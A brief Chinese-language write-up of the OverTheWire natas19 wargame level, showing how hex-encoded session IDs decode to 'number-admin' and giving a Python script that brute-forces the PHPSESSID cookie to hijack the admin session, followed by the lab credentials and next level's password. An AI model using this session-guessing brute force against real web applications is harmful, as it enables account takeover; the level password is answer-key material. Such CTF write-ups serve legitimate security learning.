Overthewire-natas19
Overthewire level 19 to level20
这题说和之前的代码相似,但会话ID不再连续。为了观察它的规律,我们先登录几次看看
######
username='admin'
password='123456'
PHPSESSID='39342d61646d696e'
######
username='admin'
password='123456'
PHPSESSID='3236322d61646d696e'
######
username='admin'
password='123456'
PHPSESSID='3137382d61646d696e'
######
通过三次登录,我们可以很明显的发现PHPSESSID中有重复的内容2d61646d696e
这段内容映射到ascii上为-admin
,基于这个不难破解出第1,2,3次登录分别对应的明文为94-admin
,262-admin
,178-admin
到这里其实答案已经非常明显了。相对于前面的关卡而言,这关仅仅是把id进行了一次ascii编码映射,我们用同样的规则穷举所有的id即可。破解代码如下
import requests
for i in range(1, 641):
resp = requests.post('http://natas19.natas.labs.overthewire.org/index.php',
auth=('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'),
data={'username': 'admin', 'password': ''},
cookies={'PHPSESSID': (str(i) + '-admin').encode().hex()})
if 'regular user' not in resp.text:
print(resp.text)
break
print("tried", i)
第20关密码为eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF